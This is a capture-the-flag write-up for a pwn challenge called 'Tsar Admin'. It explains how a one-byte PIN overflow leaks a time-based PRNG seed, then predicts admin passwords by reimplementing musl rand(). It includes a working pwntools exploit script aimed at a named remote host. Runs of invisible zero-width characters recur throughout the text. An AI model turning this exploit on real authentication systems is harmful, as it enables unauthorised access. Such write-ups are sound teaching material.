← Back to Writeups
CUSTOMMediumpwn

Tsar Admin

XESXOR9/2/20266 min read
#pwn#custom#medium#musl_rand_reimplementation#off_by_one_flag_flip#password_prediction#seed_leak_exploitation

Tsar Admin

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: musl_rand_reimplementation, off_by_one_flag_flip, password_prediction, seed_leak_exploitation

Summary

Task: a console admin login contains a one-byte overflow in the PIN input, and the archive includes a password generator seeded with time(NULL). Solution: flip a nearby flag with 133\x01 to leak the seed, then reproduce Alpine 3.18.2 musl rand() to predict the correct temporary admin password.

Tsar Admin — hackerlab

Description

Царями-админами могут быть только несколько человек! Это понимают наши разработчики консольного интерфейса к CTF, поэтому сделали особый вариант авторизации для админов...

А ещё мы используем только самые популярные шифры и кодировки!

This challenge is a remote admin login service. We are given a suspicious cipher string plus helper binaries cipher, gen, and task_local. The final goal is to log in as the special admin user and recover the real remote flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Challenge Summary

  • Target service: 62.173.140.174:17800
  • Main bug: 1-byte overflow in the admin PIN input
  • Useful side effect: overflow can flip a nearby print_seed flag and leak the PRNG seed
  • Hidden trap: the remote password generation matches Alpine 3.18.2 / musl rand(), not glibc
  • Final solve: leak seed, reproduce the 10 generated passwords, try the correct index

Reconnaissance and Reversing Observations

The archive contains three important components:

  • task_local — a local build that helps understand the interface, but does not perfectly represent the remote runtime
  • gen — the password generator binary
  • cipher — an encoded hint that identifies the correct libc/runtime family ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reversing gen gives the core password-generation logic:

  1. seed = time(NULL)
  2. srand(seed)
  3. Generate 10 passwords
  4. Each password has 50 lowercase characters
  5. Each character is rand() % 26 + 'a'
  6. Passwords are written to /tmp/pass1.txt through /tmp/pass10.txt

So the challenge is not about brute-forcing a huge password space. It is about recovering the seed and matching the exact implementation of rand() used by the remote server.

Cipher Decoding

One clue is the provided cipher string. Decoding it through the chain below reveals the runtime hint: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
ROT13 -> Base64 decode -> octal decode -> hex decode -> ROT13

The result is:

text
alpine 3.18.2

This is the key environmental clue. If we regenerate passwords with glibc's rand(), the output is wrong. We must match the PRNG behavior of Alpine's musl libc.

Vulnerability Analysis

The relevant remote bug is a 1-byte overflow in the admin PIN input handler.

Important properties:

  • the PIN check only requires that the input starts with 133
  • one additional raw byte can overwrite an adjacent flag byte
  • sending b'133\x01' changes a nearby print_seed variable from 0 to 1 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

That flips a debug-style code path that prints the seed in hexadecimal, for example:

text
0x69d566fc

This is enough to completely break the password scheme, because gen uses time(NULL) directly as the PRNG seed.

Why musl vs glibc Matters

The local artifacts can easily mislead us into assuming that any C rand() implementation is fine. It is not.

The remote challenge must be solved with Alpine 3.18.2 / musl rand(), whose behavior is different from glibc. The implementation used here is: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
srand(unsigned s) { seed = s - 1; }
rand() { seed = 6364136223846793005ULL * seed + 1; return seed >> 33; }

That means:

  • the internal state is 64-bit
  • srand() stores s - 1, not just s
  • each call advances the LCG and returns the upper bits

If we use glibc, every predicted password is wrong even with the correct leaked seed. The cipher hint exists specifically to steer us toward the correct runtime.

Exploitation Steps

1. Trigger the one-byte overflow

Connect to the service and send the admin PIN as raw bytes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
b'133\x01'

Because the service only checks that the input begins with 133, the trailing 0x01 is accepted and overwrites the adjacent flag byte.

2. Read the leaked seed

After the flag flip, the service prints the PRNG seed as hex. In the reproduced successful run, the leaked value was:

text
0x69d566fc

3. Reproduce musl password generation

Using that seed with musl's rand(), the 10 candidate passwords were:

text
0  sykaymcieuukwjkpkfcdwywqreqprxrpvmtazvrlzuudtzsygh
1  letafaqtibnltgbudisstwebzatxunfbftwzeemxakczpjvrvb
2  ojowugmjshqmmtdrqpdhmczrnrilfryvpedpqmejstjuelnegk
3  zmfvjqaocrokhsjaiekypufvftwdwlwxjsgzofbesvyubxjpia
4  hylvzukkhmshcsbwflbaaqbuuzuawtqiungmlhnksonboxjitw
5  apuxhxruolcxzkwfofvlsuxgdbicfuuttwdtrgomelkumhwknk
6  widvfwtvydgtrkpymgtfltlrhqgtpfvcyddjulgzdpgbkykflv
7  gnziubbpgfbqfkimlrgcikepaanzygyjmarorvvkecviwxzmdd
8  ydcinhrwmxppbcyjxylecaeodgdxiexysimsxdixjygjmntamc
9  jzljocetgnkfvowwgrawrmlnhcmbfxiyvunssabnjboztsukyg

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. Submit the correct generated password

In the successful session, the winning password was index 9:

text
jzljocetgnkfvowwgrawrmlnhcmbfxiyvunssabnjboztsukyg

Submitting it to the remote service returned the real flag.

Sample Exploit

The script below shows the full attack flow: leak the seed using 133\x01, regenerate passwords with musl's PRNG, and try all 10 candidates.

python
#!/usr/bin/env python3
from pwn import *
import re

HOST = "62.173.140.174"
PORT = 17800


class MuslRand:
    def __init__(self, seed: int):
        self.seed = (seed - 1) & 0xffffffffffffffff
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    def rand(self) -> int:
        self.seed = (6364136223846793005 * self.seed + 1) & 0xffffffffffffffff
        return self.seed >> 33


def gen_passwords(seed: int):
    r = MuslRand(seed)
    out = []
    for _ in range(10):
        pw = "".join(chr(r.rand() % 26 + ord("a")) for _ in range(50))
        out.append(pw)
    return out


def leak_seed(io) -> int:
    io.recvuntil(b"PIN")
    io.sendline(b"133\x01")
    data = io.recvrepeat(1)
    m = re.search(rb"0x([0-9a-fA-F]+)", data)
    if not m:
        raise ValueError(f"seed leak not found in: {data!r}")
    return int(m.group(1), 16)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def try_password(io, password: str):
    io.recvuntil(b"password")
    io.sendline(password.encode())
    return io.recvrepeat(1)


def main():
    io = remote(HOST, PORT)
    seed = leak_seed(io)
    log.success(f"seed = {seed:#x}")

    passwords = gen_passwords(seed)
    for idx, pw in enumerate(passwords):
        log.info(f"trying index {idx}: {pw}")
        data = try_password(io, pw)
        if b"CODEBY{" in data:
            print(data.decode(errors="ignore"))
            break
    else:
        log.failure("no candidate worked in this session")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    io.close()


if __name__ == "__main__":
    main()

Minimal musl Password Generator

If you only need local reproduction of the PRNG output, this reduced snippet is enough:

python
#!/usr/bin/env python3
def musl_passwords(seed: int):
    state = (seed - 1) & 0xffffffffffffffff

    def rnd():
        nonlocal state
        state = (6364136223846793005 * state + 1) & 0xffffffffffffffff
        return state >> 33

    result = []
    for _ in range(10):
        pw = ''.join(chr(rnd() % 26 + ord('a')) for _ in range(50))
        result.append(pw)
    return result
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


for i, pw in enumerate(musl_passwords(0x69d566fc)):
    print(i, pw)

Final Flag

text
CODEBY{REDACTED}

Lessons Learned

  • A one-byte overflow is enough if it flips an adjacent control flag.
  • A leaked time(NULL) seed completely destroys weak temporary-password schemes.
  • Environment hints matter: matching the wrong libc makes correct reversing look incorrect.
  • task_local was useful for understanding the challenge, but the real remote behavior was determined by the remote Alpine/musl environment. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍